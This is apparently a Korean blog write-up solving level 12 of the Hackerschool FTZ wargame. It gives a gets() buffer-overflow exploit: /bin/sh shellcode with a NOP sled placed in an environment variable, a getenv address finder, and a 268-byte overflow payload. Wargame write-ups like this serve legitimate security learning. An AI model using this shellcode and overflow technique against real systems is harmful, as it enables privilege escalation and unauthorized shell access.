본문 바로가기

Write-Up/해커스쿨 FTZ

FTZ level12

login : level12

pw : it is like this

 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( void )
{
        char str[256];

        setreuid( 3093, 3093 );
        printf( "문장을 입력하세요.\n" );
        gets( str );
        printf( "%s\n", str );
}

 

 

파일 복사해서 gdb로 직접 코드 넣고 메모리 볼려했는데

한글이 깨져서 그냥 환경변수로 풀어야겠다.

 

일단 스택구조는

이전 문제와 동일한것같다

str(256) + dummy(8) + sfp(4) + ret(4)

 

삽질좀 많이했는데 환경변수 넣을때 \x90을 좀 넣어주자;

 

export shellcode=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

잘 들어갔다

 

#include <stdio.h>

int main(void){
        printf("%p\n", getenv("shellcode"));
}

(python -c 'print "\x90"*268 + "\xfc\xfe\xff\xbf"';cat)|./attackme

 

 

 

pw : have no clue

'Write-Up > 해커스쿨 FTZ' 카테고리의 다른 글

FTZ level14  (0) 2021.03.13
FTZ level13  (0) 2021.03.13
FTZ level11  (0) 2021.03.13
FTZ level10  (0) 2021.03.12
FTZ level9  (0) 2021.03.12